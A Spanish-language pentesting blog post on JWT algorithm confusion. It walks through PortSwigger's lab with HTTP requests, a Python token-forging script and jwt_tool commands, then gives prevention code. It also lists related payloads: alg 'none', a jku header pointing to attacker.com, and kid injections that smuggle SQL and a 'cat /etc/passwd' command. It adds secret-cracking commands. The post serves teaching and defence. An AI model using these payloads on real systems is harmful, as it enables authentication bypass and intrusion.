🚨
JWT SecurityVulnerabilidadesPentestingPortSwiggerAPI Security

JWT Algorithm Confusion: Guía Práctica 2025

Aprende a explotar JWT Algorithm Confusion con el lab de PortSwigger. Walkthrough completo de RS256 a HS256, prevención y ejemplos reales de pentesting.

📅16 de diciembre de 2025
👤Juan Camilo Palacio Alvarez
⏱️12 min de lectura

JWT Algorithm Confusion Attack: Laboratorio Completo de PortSwigger

Tu API acepta JWTs. Pero, ¿acepta los correctos?

En 2024-2025 se han reportado 6 CVEs críticos relacionados con JWT. El más reciente, CVE-2024-54150, demuestra que incluso bibliotecas "maduras" siguen siendo vulnerables a un ataque que tiene más de una década: Algorithm Confusion.

Un atacante no necesita tu clave privada. Solo necesita tu clave pública.

Y esa, probablemente ya la tiene.

Introducción: ¿Qué es un JWT?

JSON Web Token (JWT) es un estándar abierto (RFC 7519) para transmitir información de forma segura entre partes como un objeto JSON. Se utiliza principalmente para autenticación y autorización en aplicaciones web modernas, especialmente en arquitecturas de microservicios y APIs REST.

Un JWT está compuesto por tres partes separadas por puntos:

eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0IiwibmFtZSI6IkpvaG4iLCJhZG1pbiI6ZmFsc2V9.signature...

Las Tres Partes del JWT

  1. Header (Encabezado): Contiene metadatos sobre el token, principalmente el tipo de token y el algoritmo de firma.
JSON
{
  "alg": "RS256",
  "typ": "JWT"
}
  1. Payload (Carga útil): Contiene los claims (declaraciones) sobre el usuario u otra información.
JSON
{
  "sub": "1234567890",
  "name": "John Doe",
  "admin": false,
  "iat": 1516239022
}
  1. Signature (Firma): Garantiza que el token no ha sido alterado. Se crea firmando el header y payload codificados.

El campo alg del header es crítico porque indica al servidor qué algoritmo debe usar para verificar la firma. Y ahí es exactamente donde comienza nuestro problema.

¿Qué es JWT Algorithm Confusion?

JWT Algorithm Confusion es una vulnerabilidad crítica que permite a un atacante falsificar tokens JWT válidos al cambiar el algoritmo de firma de RS256 (asimétrico) a HS256 (simétrico), utilizando la clave pública del servidor como secret HMAC. Esto bypasea la autenticación sin conocer la clave privada.

Esta vulnerabilidad existe desde 2015 y continúa apareciendo en nuevas implementaciones. Según el análisis de Akamai sobre amenazas a JWT, representa uno de los vectores de ataque más peligrosos en sistemas de autenticación modernos.

Diferencia entre RS256 y HS256

La confusión surge por la diferencia fundamental entre algoritmos simétricos y asimétricos:

CaracterísticaHS256 (Simétrico)RS256 (Asimétrico)
TipoHMAC con SHA-256RSA con SHA-256
ClavesUna sola (secret)Pública + Privada
FirmaSecret compartidoClave privada
VerificaciónMismo secretClave pública
SeguridadDepende del secretMás seguro (2 claves)
Uso comúnAPIs simplesMicroservicios, OAuth

Por Qué Ocurre la Vulnerabilidad

El problema surge cuando:

  1. El servidor está configurado para usar RS256 (clave pública para verificar, clave privada para firmar)
  2. La biblioteca JWT acepta el algoritmo especificado en el header del token sin validación
  3. El atacante cambia el algoritmo a HS256 en el header
  4. El servidor pasa la misma clave pública al método verify() de la biblioteca
  5. La biblioteca, ahora esperando HMAC, usa la clave pública como secret simétrico

Según PortSwigger Web Security Academy:

"La vulnerabilidad surge cuando los desarrolladores asumen que las bibliotecas JWT manejarán exclusivamente tokens firmados con algoritmos asimétricos como RS256 y siempre pasan una clave pública fija al método de verificación. Si el servidor recibe un token firmado con un algoritmo simétrico como HS256, el método genérico verify() de la biblioteca tratará la clave pública como un secreto HMAC."

Cómo Funciona el Ataque JWT Algorithm Confusion

El flujo del ataque es elegantemente simple:

Paso 1: Obtén la clave pública del servidor

  • Generalmente disponible en /.well-known/jwks.json o /jwks.json
  • En sistemas OAuth/OIDC, es pública por diseño
  • Puede extraerse de certificados SSL/TLS en algunos casos

Paso 2: Decodifica el JWT original y modifica el payload

  • Obtén un token válido (login normal)
  • Decodifica con Base64 (no está encriptado)
  • Modifica claims: cambiar rol a "admin", escalar privilegios, etc.

Paso 3: Cambia el header del algoritmo de "RS256" a "HS256"

  • Header original: {"alg": "RS256", "typ": "JWT"}
  • Header modificado: {"alg": "HS256", "typ": "JWT"}

Paso 4: Firma el token modificado usando la clave pública como secret HMAC

  • Usa la clave pública RSA como si fuera un secret HMAC
  • Calcula: HMAC-SHA256(header.payload, clave_pública)

Paso 5: Envía el JWT falsificado al servidor

  • El servidor lee alg: HS256 del header
  • Verifica usando la clave pública como secret HMAC
  • La verificación es exitosa
  • El atacante ahora tiene acceso no autorizado

Por Qué Funciona el Ataque

El error lógico es sutil pero devastador:

JavaScript
// VULNERABLE - Código simplificado
function verificarToken(token, clavePublica) {
  const header = decodificar(token.header);
  const algoritmo = header.alg;  // ¡Confía en input del cliente!

  // La biblioteca usa el algoritmo especificado en el header
  return jwt.verify(token, clavePublica, { algorithm: algoritmo });
}

El servidor:

  • Confía en el campo alg proporcionado por el cliente
  • No valida que el algoritmo sea el esperado
  • Usa la misma clave (pública) sin verificar el tipo de algoritmo
  • La biblioteca JWT hace lo que se le pide: verificar con HMAC usando esa clave

Resultado: Un token falsificado pasa la verificación de firma.

Laboratorio PortSwigger: JWT Authentication Bypass

Vamos a explotar esta vulnerabilidad paso a paso usando el laboratorio oficial de PortSwigger.

Contexto del Laboratorio

El escenario del lab simula una aplicación web real con:

  • JWTs firmados con RS256 para autenticación
  • Clave pública expuesta mediante endpoint /jwks.json
  • Backend vulnerable que acepta tokens con HS256 sin validar
  • Objetivo: Acceder como usuario "administrator" y eliminar la cuenta de "carlos"

Esta configuración es más común de lo que parece. Muchas implementaciones exponen sus claves públicas para permitir verificación distribuida (OAuth, microservicios), pero no validan correctamente el algoritmo usado.

Walkthrough Paso a Paso

1. Login y Captura del Token Original

Primero, inicia sesión como usuario normal (wiener:peter) y captura el JWT:

HTTP
POST /login HTTP/2
Host: vulnerable-website.web-security-academy.net
Content-Type: application/x-www-form-urlencoded

username=wiener&password=peter

La respuesta incluye una cookie de sesión:

Set-Cookie: session=eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ3aWVuZXIiLCJleHAiOjE3MzQ0NTYwMDB9.signature...

2. Análisis del JWT con JWT.io

Decodifica el token en jwt.io o usando Burp Suite JWT Editor:

Header decodificado:

JSON
{
  "alg": "RS256",
  "typ": "JWT"
}

Payload decodificado:

JSON
{
  "sub": "wiener",
  "exp": 1734456000
}

Nota que el usuario es "wiener". Necesitamos cambiarlo a "administrator".

3. Obtención del JWK Set (/jwks.json)

Accede al endpoint JWKS para obtener la clave pública:

HTTP
GET /jwks.json HTTP/2
Host: vulnerable-website.web-security-academy.net

Respuesta:

JSON
{
  "keys": [
    {
      "kty": "RSA",
      "e": "AQAB",
      "use": "sig",
      "kid": "12345",
      "alg": "RS256",
      "n": "0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx..."
    }
  ]
}

Esta clave pública JWK debe convertirse a formato PEM para usarla como secret HMAC.

4. Modificación y Firma del Token

Usando jwt_tool (herramienta recomendada):

Bash
# Opción 1: Exploit automatizado
python3 jwt_tool.py <JWT_ORIGINAL> -X k -pk public_key.pem

# Opción 2: Modo interactivo para modificar payload
python3 jwt_tool.py <JWT_ORIGINAL> -T
# Selecciona: Tamper with payload
# Cambia "sub": "wiener" a "sub": "administrator"
# Luego ejecuta: -X k -pk public_key.pem

Si prefieres hacerlo manualmente con Python:

Python
import jwt
import json
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.backends import default_backend

# Lee la clave pública PEM
with open('public_key.pem', 'rb') as f:
    clave_publica = f.read()

# Crea el payload modificado
payload = {
    "sub": "administrator",
    "exp": 1734560000
}

# Firma con HS256 usando la clave pública como secret
token_falsificado = jwt.encode(
    payload,
    clave_publica,  # ¡Clave pública usada como secret!
    algorithm='HS256'
)

print(token_falsificado)

5. Explotación Exitosa

Envía una petición al panel de administración con el token falsificado:

HTTP
GET /admin HTTP/2
Host: vulnerable-website.web-security-academy.net
Cookie: session=<TOKEN_FALSIFICADO>

Si todo funciona correctamente, obtendrás acceso al panel de administración y podrás eliminar la cuenta de carlos:

HTTP
GET /admin/delete?username=carlos HTTP/2
Cookie: session=<TOKEN_FALSIFICADO>

Lab resuelto.

Solución Alternativa con Burp Suite JWT Editor

Si usas Burp Suite Professional con la extensión JWT Editor:

  1. Instala JWT Editor desde BApp Store
  2. Captura el request con el JWT original
  3. En la pestaña "JSON Web Token", carga la clave pública JWK
  4. Cambia alg de "RS256" a "HS256"
  5. Modifica sub de "wiener" a "administrator"
  6. Selecciona "Sign" → "Symmetric Key" → usa la clave pública RSA
  7. Forward el request modificado

Casos Reales y CVEs Relacionados

Esta vulnerabilidad no es teórica. Ha afectado a aplicaciones reales con consecuencias severas.

CVE-2024-54150: cjwt (C Library)

En diciembre de 2024, se descubrió una vulnerabilidad de algorithm confusion en la biblioteca cjwt de Xmidt. Según PentesterLab:

"Algorithm confusion ocurre cuando un sistema falla en verificar apropiadamente el tipo de firma usada en un JWT, permitiendo a un atacante explotar la distinción insuficiente entre diferentes métodos de firma."

Impacto: Bypass completo de autenticación en plataformas cloud que usaban esta biblioteca.

CVE-2023-48238: json-web-token (Node.js)

CampoValor
CVSS Score7.5 (HIGH)
CWECWE-345 (Insufficient Verification of Data Authenticity)
Versiones Afectadas< 3.1.1
Descargas semanales2M+

Según el National Vulnerability Database:

"La vulnerabilidad existe en la línea 86 del archivo 'index.js', donde el algoritmo a usar para verificar la firma del token JWT se toma del propio token JWT, que en ese punto aún no está verificado y por lo tanto no debería ser confiable."

Código vulnerable:

JavaScript
// Línea 86 - VULNERABLE
const algorithm = decodedHeader.alg;  // ¡No validado!
verify(token, secret, { algorithm });

Impacto de Negocio Real

Según el IBM Cost of Data Breach Report 2024:

  • Costo promedio de un breach: $4.88 millones USD
  • Tiempo promedio de detección (credenciales comprometidas): 292 días
  • 16% de los ataques involucran credenciales robadas o bypass de autenticación

Según Verizon DBIR 2024:

  • 77% de ataques a aplicaciones web involucran credenciales comprometidas
  • Bypass de autenticación clasifica como P1 (Critical) en programas de bug bounty

Caso de Estudio: Auth0 Security Incident

En un incidente de seguridad reportado por Stytch, Auth0 experimentó una vulnerabilidad relacionada con validación incorrecta de JWT:

"El problema surgió cuando la Authentication API no validó adecuadamente el JWT del usuario - los atacantes podían forjar un JWT para cualquier usuario creando un JWT con algoritmo 'none' (alg: none) y sin firma, y la API de Auth0 validaba erróneamente estos tokens forjados como legítimos."

Consecuencias:

  • Bypass de autenticación multi-factor (MFA)
  • Registro de factores secundarios en dispositivos del atacante
  • Acceso completo sin autenticación en aplicaciones dependientes

Cómo Prevenir JWT Algorithm Confusion

La buena noticia: la solución es más simple que el ataque.

Checklist de Prevención para Developers

  • Forzar algoritmo específico en configuración del servidor (no confiar en header del JWT)
  • Usar whitelist de algoritmos permitidos explícitamente
  • Deshabilitar algoritmo "none" completamente en producción
  • Actualizar bibliotecas JWT a versiones seguras (posteriores a CVE-2022-21449)
  • Validar tipo de clave antes de verificar (asimétrica vs simétrica)
  • Implementar testing automatizado contra algorithm confusion
  • Realizar pentests periódicos de APIs con autenticación JWT

1. Configuración Segura en Node.js

JavaScript
const jwt = require('jsonwebtoken');

// VULNERABLE - NO HACER
const payload = jwt.verify(token, publicKey); // ❌ Sin especificar algoritmo

// SEGURO - Especificar algoritmos permitidos
const payload = jwt.verify(token, publicKey, {
  algorithms: ['RS256'],  // ✅ Whitelist explícita
  audience: 'https://mi-api.com',
  issuer: 'https://mi-issuer.com',
  ignoreExpiration: false,
  ignoreNotBefore: false
});

Configuración completa recomendada:

JavaScript
const jwtConfig = {
  // Solo permitir RS256
  algorithms: ['RS256'],

  // Validar claims críticos
  audience: process.env.JWT_AUDIENCE,
  issuer: process.env.JWT_ISSUER,

  // No ignorar expiración
  ignoreExpiration: false,
  ignoreNotBefore: false,

  // Cero tolerancia de reloj
  clockTolerance: 0
};

// Verificación con manejo de errores
try {
  const decoded = jwt.verify(token, publicKey, jwtConfig);
  // Token válido, proceder
} catch (error) {
  if (error instanceof jwt.TokenExpiredError) {
    return res.status(401).json({ error: 'Token expirado' });
  } else if (error instanceof jwt.JsonWebTokenError) {
    return res.status(401).json({ error: 'Token inválido o algoritmo no permitido' });
  }
  return res.status(500).json({ error: 'Error de verificación' });
}

2. Configuración Segura en Python

Python
import jwt
from jwt import (
    ExpiredSignatureError,
    InvalidSignatureError,
    InvalidAlgorithmError
)

# VULNERABLE - NO HACER
payload = jwt.decode(token, public_key)  # ❌ Sin algoritmo

# SEGURO - Especificar algoritmos permitidos
try:
    payload = jwt.decode(
        token,
        public_key,
        algorithms=["RS256"],  # ✅ Whitelist explícita
        audience="https://mi-api.com",
        issuer="https://mi-issuer.com",
        options={
            "verify_signature": True,
            "verify_exp": True,
            "verify_nbf": True,
            "verify_iat": True,
            "verify_aud": True,
            "verify_iss": True,
            "require": ["exp", "iat", "nbf", "sub"]
        }
    )
except ExpiredSignatureError:
    return {"error": "Token expirado"}, 401
except InvalidSignatureError:
    return {"error": "Firma inválida"}, 401
except InvalidAlgorithmError:
    return {"error": "Algoritmo no permitido"}, 403
except Exception as e:
    return {"error": "Token inválido"}, 400

3. Configuración Segura en Java

Java
import io.jsonwebtoken.Jwts;
import io.jsonwebtoken.security.Keys;

// Configuración segura con jjwt
JwtParser parser = Jwts.parserBuilder()
    .setSigningKey(publicKey)
    .setAllowedClockSkewSeconds(0)
    .requireAudience("https://mi-api.com")
    .requireIssuer("https://mi-issuer.com")
    // jjwt valida el algoritmo automáticamente con la clave
    .build();

try {
    Claims claims = parser.parseClaimsJws(token).getBody();
    // Token válido
} catch (ExpiredJwtException e) {
    // Token expirado
} catch (SignatureException e) {
    // Firma inválida
} catch (MalformedJwtException e) {
    // Token malformado
}

4. Nunca Confiar en el Campo "alg" del Header

El principio fundamental es simple:

Nunca confiar en parámetros controlados por el cliente para decisiones de seguridad.

El campo alg es parte del JWT, que el cliente envía. Cualquier input del cliente debe considerarse hostil hasta que se demuestre lo contrario.

5. Separar Correctamente Claves Públicas y Secretos

Mala práctica:

JavaScript
// ❌ Usar la misma variable para todos los algoritmos
const key = process.env.JWT_KEY;
jwt.verify(token, key);  // ¿Pública? ¿Secret? No está claro

Buena práctica:

JavaScript
// ✅ Variables separadas según algoritmo
const RSA_PUBLIC_KEY = fs.readFileSync('./keys/rsa_public.pem');
const RSA_PRIVATE_KEY = fs.readFileSync('./keys/rsa_private.pem');

// Para firmar (solo backend)
const token = jwt.sign(payload, RSA_PRIVATE_KEY, { algorithm: 'RS256' });

// Para verificar
const decoded = jwt.verify(token, RSA_PUBLIC_KEY, { algorithms: ['RS256'] });

6. Usar Bibliotecas JWT Modernas y Configurarlas Correctamente

Bibliotecas recomendadas (actualizadas 2025):

  • Node.js: jsonwebtoken >= 9.0.0
  • Python: PyJWT >= 2.8.0
  • Java: jjwt >= 0.12.0
  • Go: golang-jwt/jwt >= 5.0.0
  • Ruby: ruby-jwt >= 2.7.0

Todas las versiones modernas requieren especificar algoritmos explícitamente, pero la configuración por defecto aún puede ser insegura.

Otras Vulnerabilidades JWT Relacionadas

JWT Algorithm Confusion es parte de una familia más amplia de vulnerabilidades de autenticación.

Ataque de Algoritmo "none"

Algunas bibliotecas JWT soportan un algoritmo especial llamado none, que indica que el token no tiene firma.

Header modificado:

JSON
{
  "alg": "none",
  "typ": "JWT"
}

Token final:

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiJhZG1pbiJ9.

Nota el punto final sin firma. Si el servidor no valida correctamente, aceptará el token sin verificar firma.

Variantes de bypass:

  • "alg": "None"
  • "alg": "NONE"
  • "alg": "nOnE"

JKU Header Injection

El header jku (JWK Set URL) indica dónde obtener la clave pública:

JSON
{
  "alg": "RS256",
  "typ": "JWT",
  "jku": "https://attacker.com/malicious-jwks.json"
}

Si el servidor confía en este campo, descargará la clave del atacante.

JWK Header Injection

Similar a JKU, pero la clave se embebe directamente:

JSON
{
  "alg": "RS256",
  "typ": "JWT",
  "jwk": {
    "kty": "RSA",
    "e": "AQAB",
    "n": "clave_controlada_por_atacante..."
  }
}

Kid (Key ID) Injection

El header kid identifica qué clave usar para verificación. Puede explotarse mediante:

Path Traversal:

JSON
{
  "kid": "../../dev/null"
}

SQL Injection:

JSON
{
  "kid": "key1' UNION SELECT 'secret_del_atacante';--"
}

Command Injection:

JSON
{
  "kid": "key1|cat /etc/passwd"
}

Herramientas para Testing de JWT Security

jwt_tool (Recomendado)

La herramienta más completa para testing de JWT:

Bash
# Instalación
git clone https://github.com/ticarpi/jwt_tool
cd jwt_tool
pip3 install -r requirements.txt

# Decodificar y analizar token
python3 jwt_tool.py <JWT>

# Modo interactivo de tampering
python3 jwt_tool.py <JWT> -T

# Exploits automatizados
python3 jwt_tool.py <JWT> -X a    # alg:none attack
python3 jwt_tool.py <JWT> -X n    # null signature
python3 jwt_tool.py <JWT> -X k -pk key.pem  # key confusion
python3 jwt_tool.py <JWT> -X s    # JWKS spoofing

# Escaneo completo
python3 jwt_tool.py -M at \
  -t "https://api.target.com/endpoint" \
  -rh "Authorization: Bearer <JWT>"

# Fuerza bruta de secretos HMAC
python3 jwt_tool.py <JWT> -C -d wordlist.txt

Burp Suite JWT Editor

Extensión oficial de PortSwigger para manipular JWT:

  1. Instala desde BApp Store en Burp Suite
  2. Intercepta requests con JWT
  3. Pestaña "JSON Web Token" aparece automáticamente
  4. Modifica header, payload y firma interactivamente
  5. Importa claves para firmar tokens

Hashcat para Cracking de Secrets

Si el JWT usa HS256 con secret débil:

Bash
# Extraer hash del JWT
echo -n "<JWT>" > jwt.txt

# Crackear con wordlist
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Usar rockyou.txt
hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

John the Ripper

Alternativa a Hashcat:

Bash
john jwt.txt --wordlist=wordlist.txt --format=HMAC-SHA256

Conclusión: Por Qué Deberías Preocuparte por JWT Security

JWT no es inseguro por diseño. El problema son las implementaciones incorrectas.

La lección clave de Algorithm Confusion es clara y aplicable a toda la seguridad de aplicaciones:

Nunca confiar en parámetros controlados por el cliente para decisiones de seguridad.

El campo alg del header JWT es input del usuario. Permitir que dicte cómo se verifica la seguridad es equivalente a permitir que un usuario diga "confía en mí, soy administrador" sin verificar.

¿Tu Aplicación es Vulnerable?

Hazte estas preguntas:

  1. ¿Especificas explícitamente qué algoritmos están permitidos al verificar JWT?
  2. ¿Usas bibliotecas JWT actualizadas con configuración segura?
  3. ¿Validas claims críticos (iss, aud, exp)?
  4. ¿Cuándo fue la última vez que un pentester auditó tu autenticación?

Si alguna respuesta es "no" o "no estoy seguro", es hora de actuar.

Tu Siguiente Paso

Este post te dio el conocimiento. Pero implementar seguridad correctamente requiere más que conocimiento, requiere validación externa.

Dos preguntas:

  1. ¿Estás 100% seguro de que tu validación JWT es correcta?
  2. ¿Cuándo fue la última vez que alguien externo lo verificó?

En Pentacode, auditamos APIs y sistemas de autenticación de startups en LATAM. No vendemos miedo, vendemos certeza.

Oferta específica:

  • Revisión de implementación JWT incluida en toda auditoría
  • Tiempo: 7-10 días para auditoría completa de API
  • Entregable: Reporte con vulnerabilidades, código seguro y pasos de remediación

Agenda una consulta de 30 minutos (gratis)

No esperes a que un atacante encuentre lo que tu equipo pasó por alto.


Recursos Adicionales

Si quieres profundizar más en seguridad de APIs y autenticación:

Referencias


Sobre el Autor

Juan Camilo Palacio Alvarez es el fundador de Pentacode, consultora especializada en pentesting y desarrollo seguro para startups en LATAM. Con experiencia auditando sistemas de autenticación y APIs, ayuda a equipos de desarrollo a identificar y corregir vulnerabilidades críticas antes de que sean explotadas.

Conéctate en LinkedIn

Compartir artículo:

🛡️

¿Listo para proteger tu aplicación?

Agenda una consultoría gratuita y descubre cómo nuestros servicios de pentesting pueden ayudarte a identificar vulnerabilidades.

Chatea con nosotros